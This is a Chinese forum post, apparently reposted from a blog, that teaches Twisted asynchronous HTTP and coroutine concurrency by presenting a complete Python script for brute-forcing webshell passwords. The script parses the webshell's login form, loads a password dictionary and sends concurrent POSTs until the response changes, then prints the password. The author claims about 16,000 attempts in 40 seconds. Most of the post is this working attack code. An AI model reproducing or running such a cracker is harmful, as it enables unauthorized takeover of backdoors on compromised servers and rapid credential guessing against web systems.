设为首页 收藏本站
查看: 1934|回复: 0

[经验分享] python中利用twisted的异步通信和微线程 实现webshell密码扫描器

[复制链接]

尚未签到

发表于 2017-5-8 09:58:12 | 显示全部楼层 |阅读模式
  好久没写blog了,到了暑假时间充裕了,打算好好写几篇,
  ps:最近blog访问量大了不少,一看全是去看struts2漏洞的...
  好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。
  iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。
  同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。
  异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。
  具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术
  1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser
  2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下
  


            cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
resp = opener.open(req, timeout=60)  
strlist = resp.read()
  代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典
  3.异步的页面请求,这里用了twisted的getpage片段如下:
  


        self.PostDATA[self.passw] = passl
#print temp
zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)

 可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)  以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass
  4.协程并发,代码如下:
  


    def InitTask(self):
for passl in self.passlist[:]:
d = self.addURL(passl)
yield d
def DoTask(self):
deferreds = []
coop = task.Cooperator()
work = self.InitTask()
for i in xrange(self.ThreadNum):
d = coop.coiterate(work)
deferreds.append(d)
dl = defer.DeferredList(deferreds)
   就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个
  


# -*- coding: utf-8 -*-
#coding=utf-8

#
#
# code by icefish
# http://insight-labs.org/
# http://wcf1987.iteye.com/
#
from twisted.internet import iocpreactor
iocpreactor.install()
from twisted.web.client import getPage
from twisted.internet import defer, task
from twisted.internet import reactor
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
#import httplib2
from sgmllib import SGMLParser
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
from sgmllib import SGMLParser
class URLLister(SGMLParser):
def __init__(self):
SGMLParser.__init__(self)
self.input = {}
def start_input(self, attrs):
#print attrs
for k, v in attrs:
if k == 'type':
type = v
if k == 'name':
name = v
if k == 'value':
value = v
if type == 'hidden' and value != None:
self.input[name] = value
if type == 'password' :
self.input['icekey'] = name
class webShellPassScan(object):
def __init__(self, url, dict):
self.url = url
self.ThreadNum = 10
self.dict = dict
def getInput(self, url):
html, c = self.PostUrl(url, '')
parse = URLLister()
parse.feed(html)
return parse.input
def PostUrl(self, url, bodyfieleds):
try:   
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
resp = opener.open(req, timeout=60)  
strlist = resp.read()
cookies = []
for c in cj:
cookies.append(c.name + '=' + c.value)
return strlist, cookies
except :
return ''

def parse_page(self, data, url, passk):
#print url
self.TestNum = self.TestNum + 1
if data != self.sret and len(data) != 0 and data != 'iceerror':
self.timeEnd = time.time()
print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
print 'total Scan Passwords:' + str(self.TestNum)
print "*************************the key pass***************************\n"
print passk
print "*************************the key pass***************************\n"
reactor.stop()

if self.TestNum % 1000 == 0:
#print TestNum
sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
sys.stdout.flush()

def fetch_error(self, error, url, passl):
self.addURL(passl)
def run(self):
self.timeStart = 0
self.timeEnd = 0
self.TestNum = 0
self.sret = ''
print '\n\ndetect the WebShell URL:' + self.url
self.PassNum = 0
self.timeStart = time.time()
print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
filepath = os.path.abspath(os.curdir)
file = open(filepath + "\\" + self.dict)
self.passlist = []
for lines in file:           
self.passlist.append(lines.strip())
#print lines.strip()
file.close()
PassNum = len(self.passlist)
print 'get passwords num:' + str(PassNum)
inputdic = self.getInput(self.url)
self.passw = inputdic['icekey']
del inputdic['icekey']
self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
self.sret, cookies = self.PostUrl(self.url, self.PostDATA)
self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
self.headers['cookies'] = cookies
print 'cookies:' + str(cookies)
self.DoTask()
#self.DoTask2()
#self.DoTask3()
print 'start run'
self.key = 'start'
reactor.run()
def InitTask(self):
for passl in self.passlist[:]:
d = self.addURL(passl)
yield d

def InitTask2(self):
for passl in self.passlist[:]:
d = self.sem.run(self.addURL, passl)
self.deferreds.append(d)
def InitTask3(self):
for passl in self.passlist[:]:
d = self.addURL(passl)            
self.deferreds.append(d)
def DoTask(self):
deferreds = []
coop = task.Cooperator()
work = self.InitTask()
for i in xrange(self.ThreadNum):
d = coop.coiterate(work)
deferreds.append(d)
dl = defer.DeferredList(deferreds)
#dl.addErrback(self.errorCall)
#dl.addCallback(self.finish)
def DoTask2(self):
self.deferreds = []
self.sem = defer.DeferredSemaphore(self.ThreadNum)
self.InitTask2()
dl = defer.DeferredList(self.deferreds)

def DoTask3(self):

self.deferreds = []
self.InitTask3()
dl = defer.DeferredList(self.deferreds)
def addURL(self, passl):
self.PostDATA[self.passw] = passl
#print temp
zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)
return zs

a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
a.run()

 

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-374518-1-1.html 上篇帖子: 传说中只用了十五行Python语句的P2P客户端/服务端 [转] 下篇帖子: 服务器暂时无法响应您的请求 500 Internal Server Error
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表